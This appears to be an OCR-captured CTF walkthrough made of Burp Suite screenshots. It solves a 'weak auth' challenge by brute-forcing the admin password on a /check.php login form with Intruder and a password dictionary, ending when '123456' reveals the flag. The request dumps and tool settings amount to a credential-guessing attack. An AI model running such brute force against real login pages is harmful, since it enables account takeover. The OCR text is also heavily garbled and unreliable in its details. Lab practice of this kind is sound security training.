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| [Target Tmey I Spider IScanner Ilntruder IRepeater TSequencer TDecoder IComparer IExtender TOptions I!-\Ierts ]
!

i Intercept | HTTP histary TWehSockets history IOptions ]

| Filter: Hiding CSS, image and general binary content ':J
# A Host Method  URL Params  Edited Status Length MIME 1
1 http://111.198.29.45:42786 POST fcheck.p(~= — — HTML | &
2 http://detectportal firefox.com GET Isuccesd Nttp111.198.29.45:42786/check php 200 384 text
3 http://detectportal firefoxcom GET /succesy Add to scope 200 384 text
4 http://detectportal firefox.com GET lsuccess  spider from here 200 364 text
5 http://detectportal firefoxcom GET fsuccess ng an active scan 200 384 text
6 http://detectportal firefox.com GET fsucce s Ctrl+l 200 364 text
7 http://detectportal firefoxcom GET /succesg Send to Repeater Cirl+R 200 384 text
8 http://detectportal firefox.com GET fsuccesq 200 364 text
Send to Sequencer
9 http://detectportal firefoxcom GET /succesg 200 384 text
) Send to Comparer
10 http://detectportal firefox.com GET fsuccesq ) 200 364 text
) Requestin browser > b
11 http://detectportal firefoxcom GET /succesg 200 384 text |w
TK_ Engagement tools b T

Show new history window

| Request | Add comment

_[ Raw I Params ] Headers ] Hex ] Highlight [

Delete item

POST /check.php HTTE/1.1
Host: 111.158.29.45:4Z786
User-Agent: Mozilla/5.0 (Windows NT 10.0[ CepyURL 0101 Firefox/72.0
Accept: text/html, application/xhtml+xml,| Copyascurl command *f*;q=0.8
Accept-Language: zh-CN,zh;g=0.8,zh-TW; = 0.2
Accept-Encoding: gzip, deflate
Referer: http://111.198.7209.45:4278&/ Proxy history help
Content-Type: application/z-www-form-urlencoded
Content-Length: Z1

Origin: http://111.198.29.45:42786

Connection: keep-aliwve

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Clear histary

e

Save item

username=l&password=1
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[Target TF’roxy ISpider IScanner IJnt{uder TRepeater TSequencer TDecoder IComparer IExtender TOptions IAIerts ]
i1 # |2 x l
i Target l Paositions TPaonads TOptions ]

2 | Payload Positions
2 ¥

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are
assigned to payload positions - see help for full details.

Attack type: lSniper | !]
POST /check.php HTTR/1.1 k

Add
Host: 111.198.Z9.45:4Z786 @J

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; =x64; rv:72.0)

Gecko/20100101 Firefox/72.0 Clear §
Accept:
text/html, application/xhtml+xnl, application/=ml;q=0.9, image/webp, */*;q=0 Auto §

.8
Accept-Language: Refresh
zh-CWN, zh;q=0.8,zh-TW;g=0.7, zh-HE;g=0.5,en-US;g=0.3,en;qg=0.2 k_J
Accept-Encoding: gzip, deflate

Referer: http://111.198.29.45:42786&/

Content-Type: application/z-www-form-urlencoded
Content-Length: Z1

Origin: http://111.158.25.45:42786

Connection: keep-alive

Upgrade-Insecure—-Requests: 1

Cache-Control: maxz-age=0

username=admin&password=§18§
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bl Lo il o 1 s e T el st o e ke st e pers b s || i Gucommans + 2
‘ L=t o L= . L= i T Ef¥: Ctrl/Command + Y
- 7¥A: Ctrl/Command + B




9 Payload set: ] % ﬂ‘li Ctrl/Command + |
4 #RER: Ctrl/Command + Shift + H
Pevess P g Blasting_dictionary-master | ¥ © || @ (= 8 I CtiCommand + Shit+ U
—— . I ARFFFIZE: Ctri'Command + Shift + O
[ aspudniERBER 103w [ EEMIED (" liunx_users_dictionarie &5 Ctrl/Command + Shift + C
IR ERadminFRANESAIT, RIFBpsaawordiy (7] Paviead Opte | Gy wmprermpaioime [ 3sosiiiert oo T rEE JEACS: CtriCommand + Shift + K
This payload typr | [l SRBEXFEITED | " baopo.py [ README.md }E‘E)\ﬁi Ctri/Command + Sh}ﬂ +L
(B 2EASE [ big_dictionary.tit [ renkoutop.ot ggcﬁ : c""(;‘lml':m“d * Shift+ G
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Payload Processing 3&%@
Markdown 587 3 9 173 iRi{T 8, 27 0 REEFRIF10:00:59 You can define rules to perform various processin tasks on each pavioad before itis used.
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Repeater TSequencer TDecoder TComparer TExtender TOptions TAIerts ]

Open saved attack

E Actively scan defined insertion points

Send to Repeater

Save attack config

:

Load attack config
Copy attack config
number of payload sets depends on the attack type defined in the Positions tab. Various

New tab behavior et, and each payload type can be customized in different ways.

yvyvwvyy

Automatic payload positions

Configure predefined payload lists Payload count: 7,501

Payload type: [Simple list m Request count: 7,501

Payload Options [Simple list]

G

This payload type lets you configure a simple list of strings that are used as payloads.

Paste ingadmin

admini2

| Load.. | admin8ss

! . adming

| Remove | 5dmin123
sysadmin

{ Clear ) adminsos
adminx
Enter a new ifem

. Add
'{Add from list . m

(2] Payload Processin
__ B ¢

| You can define rules to perform various processina tasks on each pavload before it is used.

1E b 77 Wintruderr i% H start attacki 17 4585




E intruder attack 1 -

X

Attack Save Columns

Results | Target | Positions | Payloads | Options
|F\\ter Showing all items ‘ ?
Request 4 Payload Status Error Timeout Length Comment

29 135246 200 O O 4 r
30 135246789 200 (@] 0 434

31 123456 200 (8] (8]} 437

32 654321 200 @] ] 434

33 12345 200 @] ] 434

34 54321 200 (@] 0 434

35 123456789 200 o o 434

36 1234567890 200 o o 434

37 0 200 (@] 0 434

38 123que 200 o O 43

39 123qweasd 200 @] ] 434 L
10 qweasd 200 =] o 434 =

Request I Response

Raw | Params | Headers | Hex
POST /check.php HTTE/1.1 A
Host: 111.198.29.45:42786 P
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; %64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xnl;q=0.9, inage/webp, */*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-Us;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://111.198.29.45:42786/
Content-Type: application/s-www-form-urlencoded
Content-Length: 30
Origin: http://111.198.29.45:42786
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
username=admin&password=123456
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Finished |

FE B result 5 T HHEAT — R 51 F D BT =, BATTRE R ELenth RRAKHEN, XANEGHLEREN.

B Result 31 | Intruder attack 1 — O x

Payload: 123456

Status: 200 Previous |

Length: 437 -
Timer: 51 Next

Action |

| Requestl Response ]

J Raw I Headers ] Hex ] HT ML ] Render ]

O<!'DOCTYPE html=>
<html lang="en">
<head>
<meta chargset="UTF-2">
I <title>weak auth</title>
</ head>
<body>

byberpeace{4b??58dedB20eb80692d83603db9b05}<!——maybe yvou need a dictionary-—--—-=

I(fbody}

</html>
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